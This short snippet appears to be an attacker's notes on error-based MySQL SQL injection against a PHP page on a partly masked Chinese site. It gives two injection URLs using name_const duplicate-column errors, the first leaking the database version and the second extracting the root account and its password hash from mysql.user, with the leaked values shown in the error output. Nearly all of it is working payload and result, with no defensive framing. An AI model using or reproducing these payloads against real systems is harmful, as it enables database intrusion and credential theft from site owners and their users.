http://xxx.cn/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c)

Error:Duplicate column name ‘5.0.27-community-nt’Error:Duplicate column name ‘5.0.27-community-nt’

http://xxx.cn/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const((select concat(user,password) from mysql.user limit 0,1),0))a join (select name_const((select concat(user,password) from mysql.user limit 0,1),0))b)c)

Error:Duplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′Error:Duplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′